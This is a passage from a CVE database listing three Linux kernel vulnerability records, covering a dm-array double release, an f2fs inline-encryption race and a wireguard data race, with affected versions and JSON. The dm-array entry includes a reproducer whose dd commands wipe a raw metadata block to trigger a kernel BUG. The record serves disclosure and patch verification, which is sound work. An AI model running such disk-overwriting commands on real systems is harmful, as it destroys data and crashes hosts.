      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-39468",
    "datePublished": "2024-06-25T14:28:54.897Z",
    "dateReserved": "2024-06-25T14:23:23.744Z",
    "dateUpdated": "2026-05-12T11:55:24.153Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57929 (GCVE-0-2024-57929)

Vulnerability from cvelistv5 – Published: 2025-01-19 11:52 – Updated: 2026-05-12 12:01

Title

dm array: fix releasing a faulty array block twice in dm_array_cursor_end

Summary

In the Linux kernel, the following vulnerability has been resolved: dm array: fix releasing a faulty array block twice in dm_array_cursor_end When dm_bm_read_lock() fails due to locking or checksum errors, it releases the faulty block implicitly while leaving an invalid output pointer behind. The caller of dm_bm_read_lock() should not operate on this invalid dm_block pointer, or it will lead to undefined result. For example, the dm_array_cursor incorrectly caches the invalid pointer on reading a faulty array block, causing a double release in dm_array_cursor_end(), then hitting the BUG_ON in dm-bufio cache_put(). Reproduce steps: 1. initialize a cache device dmsetup create cmeta --table "0 8192 linear /dev/sdc 0" dmsetup create cdata --table "0 65536 linear /dev/sdc 8192" dmsetup create corig --table "0 524288 linear /dev/sdc $262144" dd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 dmsetup create cache --table "0 524288 cache /dev/mapper/cmeta \ /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0" 2. wipe the second array block offline dmsteup remove cache cmeta cdata corig mapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 \ 2>/dev/null | hexdump -e '1/8 "%u\n"') ablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) \ 2>/dev/null | hexdump -e '1/8 "%u\n"') dd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock 3. try reopen the cache device dmsetup create cmeta --table "0 8192 linear /dev/sdc 0" dmsetup create cdata --table "0 65536 linear /dev/sdc 8192" dmsetup create corig --table "0 524288 linear /dev/sdc $262144" dmsetup create cache --table "0 524288 cache /dev/mapper/cmeta \ /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0" Kernel logs: (snip) device-mapper: array: array_block_check failed: blocknr 0 != wanted 10 device-mapper: block manager: array validator check failed for block 10 device-mapper: array: get_ablock failed device-mapper: cache metadata: dm_array_cursor_next for mapping failed ------------[ cut here ]------------ kernel BUG at drivers/md/dm-bufio.c:638! Fix by setting the cached block pointer to NULL on errors. In addition to the reproducer described above, this fix can be verified using the "array_cursor/damaged" test in dm-unit: dm-unit run /pdata/array_cursor/damaged --kernel-dir <KERNEL_DIR>

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/9c7c03d0e926762ad…
https://git.kernel.org/stable/c/fc1ef07c3522e257e…
https://git.kernel.org/stable/c/738994872d77e189b…
https://git.kernel.org/stable/c/e477021d252c007f0…
https://git.kernel.org/stable/c/6002bec5354f86d1a…
https://git.kernel.org/stable/c/017c4470bff535853…
https://git.kernel.org/stable/c/f2893c0804d86230f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: fdd1315aa5f022fe6574efdc2d9535f75a0ee255 , < 9c7c03d0e926762adf3a3a0ba86156fb5e19538b (git) Affected: fdd1315aa5f022fe6574efdc2d9535f75a0ee255 , < fc1ef07c3522e257e32702954f265debbcb096a7 (git) Affected: fdd1315aa5f022fe6574efdc2d9535f75a0ee255 , < 738994872d77e189b2d13c501a1d145e95d98f46 (git) Affected: fdd1315aa5f022fe6574efdc2d9535f75a0ee255 , < e477021d252c007f0c6d45b5d13d341efed03979 (git) Affected: fdd1315aa5f022fe6574efdc2d9535f75a0ee255 , < 6002bec5354f86d1a2df21468f68e3ec03ede9da (git) Affected: fdd1315aa5f022fe6574efdc2d9535f75a0ee255 , < 017c4470bff53585370028fec9341247bad358ff (git) Affected: fdd1315aa5f022fe6574efdc2d9535f75a0ee255 , < f2893c0804d86230ffb8f1c8703fdbb18648abc8 (git)
Linux	Linux	Affected: 4.9 Unaffected: 0 , < 4.9 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:55:57.853Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:39.001Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/persistent-data/dm-array.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9c7c03d0e926762adf3a3a0ba86156fb5e19538b",
              "status": "affected",
              "version": "fdd1315aa5f022fe6574efdc2d9535f75a0ee255",
              "versionType": "git"
            },
            {
              "lessThan": "fc1ef07c3522e257e32702954f265debbcb096a7",
              "status": "affected",
              "version": "fdd1315aa5f022fe6574efdc2d9535f75a0ee255",
              "versionType": "git"
            },
            {
              "lessThan": "738994872d77e189b2d13c501a1d145e95d98f46",
              "status": "affected",
              "version": "fdd1315aa5f022fe6574efdc2d9535f75a0ee255",
              "versionType": "git"
            },
            {
              "lessThan": "e477021d252c007f0c6d45b5d13d341efed03979",
              "status": "affected",
              "version": "fdd1315aa5f022fe6574efdc2d9535f75a0ee255",
              "versionType": "git"
            },
            {
              "lessThan": "6002bec5354f86d1a2df21468f68e3ec03ede9da",
              "status": "affected",
              "version": "fdd1315aa5f022fe6574efdc2d9535f75a0ee255",
              "versionType": "git"
            },
            {
              "lessThan": "017c4470bff53585370028fec9341247bad358ff",
              "status": "affected",
              "version": "fdd1315aa5f022fe6574efdc2d9535f75a0ee255",
              "versionType": "git"
            },
            {
              "lessThan": "f2893c0804d86230ffb8f1c8703fdbb18648abc8",
              "status": "affected",
              "version": "fdd1315aa5f022fe6574efdc2d9535f75a0ee255",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/md/persistent-data/dm-array.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.9"
            },
            {
              "lessThan": "4.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm array: fix releasing a faulty array block twice in dm_array_cursor_end\n\nWhen dm_bm_read_lock() fails due to locking or checksum errors, it\nreleases the faulty block implicitly while leaving an invalid output\npointer behind. The caller of dm_bm_read_lock() should not operate on\nthis invalid dm_block pointer, or it will lead to undefined result.\nFor example, the dm_array_cursor incorrectly caches the invalid pointer\non reading a faulty array block, causing a double release in\ndm_array_cursor_end(), then hitting the BUG_ON in dm-bufio cache_put().\n\nReproduce steps:\n\n1. initialize a cache device\n\ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"\ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"\ndmsetup create corig --table \"0 524288 linear /dev/sdc $262144\"\ndd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1\ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\\n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"\n\n2. wipe the second array block offline\n\ndmsteup remove cache cmeta cdata corig\nmapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 \\\n2\u003e/dev/null | hexdump -e \u00271/8 \"%u\\n\"\u0027)\nablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) \\\n2\u003e/dev/null | hexdump -e \u00271/8 \"%u\\n\"\u0027)\ndd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock\n\n3. try reopen the cache device\n\ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"\ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"\ndmsetup create corig --table \"0 524288 linear /dev/sdc $262144\"\ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\\n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"\n\nKernel logs:\n\n(snip)\ndevice-mapper: array: array_block_check failed: blocknr 0 != wanted 10\ndevice-mapper: block manager: array validator check failed for block 10\ndevice-mapper: array: get_ablock failed\ndevice-mapper: cache metadata: dm_array_cursor_next for mapping failed\n------------[ cut here ]------------\nkernel BUG at drivers/md/dm-bufio.c:638!\n\nFix by setting the cached block pointer to NULL on errors.\n\nIn addition to the reproducer described above, this fix can be\nverified using the \"array_cursor/damaged\" test in dm-unit:\n  dm-unit run /pdata/array_cursor/damaged --kernel-dir \u003cKERNEL_DIR\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:00:46.466Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9c7c03d0e926762adf3a3a0ba86156fb5e19538b"
        },
        {
          "url": "https://git.kernel.org/stable/c/fc1ef07c3522e257e32702954f265debbcb096a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/738994872d77e189b2d13c501a1d145e95d98f46"
        },
        {
          "url": "https://git.kernel.org/stable/c/e477021d252c007f0c6d45b5d13d341efed03979"
        },
        {
          "url": "https://git.kernel.org/stable/c/6002bec5354f86d1a2df21468f68e3ec03ede9da"
        },
        {
          "url": "https://git.kernel.org/stable/c/017c4470bff53585370028fec9341247bad358ff"
        },
        {
          "url": "https://git.kernel.org/stable/c/f2893c0804d86230ffb8f1c8703fdbb18648abc8"
        }
      ],
      "title": "dm array: fix releasing a faulty array block twice in dm_array_cursor_end",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-57929",
    "datePublished": "2025-01-19T11:52:46.096Z",
    "dateReserved": "2025-01-19T11:50:08.376Z",
    "dateUpdated": "2026-05-12T12:01:39.001Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40971 (GCVE-0-2024-40971)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:32 – Updated: 2026-05-12 11:56

Title

f2fs: remove clear SB_INLINECRYPT flag in default_options

Summary

In the Linux kernel, the following vulnerability has been resolved: f2fs: remove clear SB_INLINECRYPT flag in default_options In f2fs_remount, SB_INLINECRYPT flag will be clear and re-set. If create new file or open file during this gap, these files will not use inlinecrypt. Worse case, it may lead to data corruption if wrappedkey_v0 is enable. Thread A: Thread B: -f2fs_remount -f2fs_file_open or f2fs_new_inode -default_options <- clear SB_INLINECRYPT flag -fscrypt_select_encryption_impl -parse_options <- set SB_INLINECRYPT again

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/38a82c8d00638bb64…
https://git.kernel.org/stable/c/724429db09e21ee15…
https://git.kernel.org/stable/c/a9cea0489c562c97c…
https://git.kernel.org/stable/c/eddeb8d941d5be11a…
https://git.kernel.org/stable/c/ae39c8ec4250d2a35…
https://git.kernel.org/stable/c/ac5eecf481c29942e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 98e4da8ca301e062d79ae168c67e56f3c3de3ce4 , < 38a82c8d00638bb642bef787eb1d5e0e4d3b7d71 (git) Affected: 98e4da8ca301e062d79ae168c67e56f3c3de3ce4 , < 724429db09e21ee153fef35e34342279d33df6ae (git) Affected: 98e4da8ca301e062d79ae168c67e56f3c3de3ce4 , < a9cea0489c562c97cd56bb345e78939f9909e7f4 (git) Affected: 98e4da8ca301e062d79ae168c67e56f3c3de3ce4 , < eddeb8d941d5be11a9da5637dbe81ac37e8449a2 (git) Affected: 98e4da8ca301e062d79ae168c67e56f3c3de3ce4 , < ae39c8ec4250d2a35ddaab1c40faacfec306ff66 (git) Affected: 98e4da8ca301e062d79ae168c67e56f3c3de3ce4 , < ac5eecf481c29942eb9a862e758c0c8b68090c33 (git)
Linux	Linux	Affected: 3.8 Unaffected: 0 , < 3.8 (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:36.200Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/38a82c8d00638bb642bef787eb1d5e0e4d3b7d71"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/724429db09e21ee153fef35e34342279d33df6ae"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a9cea0489c562c97cd56bb345e78939f9909e7f4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eddeb8d941d5be11a9da5637dbe81ac37e8449a2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ae39c8ec4250d2a35ddaab1c40faacfec306ff66"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ac5eecf481c29942eb9a862e758c0c8b68090c33"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40971",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:02:54.463850Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:22.540Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:00.292Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/f2fs/super.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "38a82c8d00638bb642bef787eb1d5e0e4d3b7d71",
              "status": "affected",
              "version": "98e4da8ca301e062d79ae168c67e56f3c3de3ce4",
              "versionType": "git"
            },
            {
              "lessThan": "724429db09e21ee153fef35e34342279d33df6ae",
              "status": "affected",
              "version": "98e4da8ca301e062d79ae168c67e56f3c3de3ce4",
              "versionType": "git"
            },
            {
              "lessThan": "a9cea0489c562c97cd56bb345e78939f9909e7f4",
              "status": "affected",
              "version": "98e4da8ca301e062d79ae168c67e56f3c3de3ce4",
              "versionType": "git"
            },
            {
              "lessThan": "eddeb8d941d5be11a9da5637dbe81ac37e8449a2",
              "status": "affected",
              "version": "98e4da8ca301e062d79ae168c67e56f3c3de3ce4",
              "versionType": "git"
            },
            {
              "lessThan": "ae39c8ec4250d2a35ddaab1c40faacfec306ff66",
              "status": "affected",
              "version": "98e4da8ca301e062d79ae168c67e56f3c3de3ce4",
              "versionType": "git"
            },
            {
              "lessThan": "ac5eecf481c29942eb9a862e758c0c8b68090c33",
              "status": "affected",
              "version": "98e4da8ca301e062d79ae168c67e56f3c3de3ce4",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/f2fs/super.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.8"
            },
            {
              "lessThan": "3.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "3.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: remove clear SB_INLINECRYPT flag in default_options\n\nIn f2fs_remount, SB_INLINECRYPT flag will be clear and re-set.\nIf create new file or open file during this gap, these files\nwill not use inlinecrypt. Worse case, it may lead to data\ncorruption if wrappedkey_v0 is enable.\n\nThread A:                               Thread B:\n\n-f2fs_remount\t\t\t\t-f2fs_file_open or f2fs_new_inode\n  -default_options\n\t\u003c- clear SB_INLINECRYPT flag\n\n                                          -fscrypt_select_encryption_impl\n\n  -parse_options\n\t\u003c- set SB_INLINECRYPT again"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:23:23.303Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/38a82c8d00638bb642bef787eb1d5e0e4d3b7d71"
        },
        {
          "url": "https://git.kernel.org/stable/c/724429db09e21ee153fef35e34342279d33df6ae"
        },
        {
          "url": "https://git.kernel.org/stable/c/a9cea0489c562c97cd56bb345e78939f9909e7f4"
        },
        {
          "url": "https://git.kernel.org/stable/c/eddeb8d941d5be11a9da5637dbe81ac37e8449a2"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae39c8ec4250d2a35ddaab1c40faacfec306ff66"
        },
        {
          "url": "https://git.kernel.org/stable/c/ac5eecf481c29942eb9a862e758c0c8b68090c33"
        }
      ],
      "title": "f2fs: remove clear SB_INLINECRYPT flag in default_options",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40971",
    "datePublished": "2024-07-12T12:32:09.440Z",
    "dateReserved": "2024-07-12T12:17:45.603Z",
    "dateUpdated": "2026-05-12T11:56:00.292Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26861 (GCVE-0-2024-26861)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

wireguard: receive: annotate data-race around receiving_counter.counter

Summary

In the Linux kernel, the following vulnerability has been resolved: wireguard: receive: annotate data-race around receiving_counter.counter Syzkaller with KCSAN identified a data-race issue when accessing keypair->receiving_counter.counter. Use READ_ONCE() and WRITE_ONCE() annotations to mark the data race as intentional. BUG: KCSAN: data-race in wg_packet_decrypt_worker / wg_packet_rx_poll write to 0xffff888107765888 of 8 bytes by interrupt on cpu 0: counter_validate drivers/net/wireguard/receive.c:321 [inline] wg_packet_rx_poll+0x3ac/0xf00 drivers/net/wireguard/receive.c:461 __napi_poll+0x60/0x3b0 net/core/dev.c:6536 napi_poll net/core/dev.c:6605 [inline] net_rx_action+0x32b/0x750 net/core/dev.c:6738 __do_softirq+0xc4/0x279 kernel/softirq.c:553 do_softirq+0x5e/0x90 kernel/softirq.c:454 __local_bh_enable_ip+0x64/0x70 kernel/softirq.c:381 __raw_spin_unlock_bh include/linux/spinlock_api_smp.h:167 [inline] _raw_spin_unlock_bh+0x36/0x40 kernel/locking/spinlock.c:210 spin_unlock_bh include/linux/spinlock.h:396 [inline] ptr_ring_consume_bh include/linux/ptr_ring.h:367 [inline] wg_packet_decrypt_worker+0x6c5/0x700 drivers/net/wireguard/receive.c:499 process_one_work kernel/workqueue.c:2633 [inline] ... read to 0xffff888107765888 of 8 bytes by task 3196 on cpu 1: decrypt_packet drivers/net/wireguard/receive.c:252 [inline] wg_packet_decrypt_worker+0x220/0x700 drivers/net/wireguard/receive.c:501 process_one_work kernel/workqueue.c:2633 [inline] process_scheduled_works+0x5b8/0xa30 kernel/workqueue.c:2706 worker_thread+0x525/0x730 kernel/workqueue.c:2787 ...

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f87884e0dffd61b47…
https://git.kernel.org/stable/c/d691be84ab898cf13…
https://git.kernel.org/stable/c/45a83b220c83e3c32…
https://git.kernel.org/stable/c/78739d72f16b2d7d5…
https://git.kernel.org/stable/c/3f94da807fe1668b9…
https://git.kernel.org/stable/c/fdf16de078a97bf14…
https://git.kernel.org/stable/c/bba045dc4d996d03d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a9e90d9931f3a474f04bab782ccd9d77904941e9 , < f87884e0dffd61b47e58bc6e1e2f6843c212b0cc (git) Affected: a9e90d9931f3a474f04bab782ccd9d77904941e9 , < d691be84ab898cf136a35176eaf2f8fc116563f0 (git) Affected: a9e90d9931f3a474f04bab782ccd9d77904941e9 , < 45a83b220c83e3c326513269afbf69ae6fc65cce (git) Affected: a9e90d9931f3a474f04bab782ccd9d77904941e9 , < 78739d72f16b2d7d549f713f1dfebd678d32484b (git) Affected: a9e90d9931f3a474f04bab782ccd9d77904941e9 , < 3f94da807fe1668b9830f0eefbbf7e887b0a7bc6 (git) Affected: a9e90d9931f3a474f04bab782ccd9d77904941e9 , < fdf16de078a97bf14bb8ee2b8d47cc3d3ead09ed (git) Affected: a9e90d9931f3a474f04bab782ccd9d77904941e9 , < bba045dc4d996d03dce6fe45726e78a1a1f6d4c3 (git) Affected: 4a7939808afdc57ecaeb72d049e2985321a1e44e (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:04.156Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
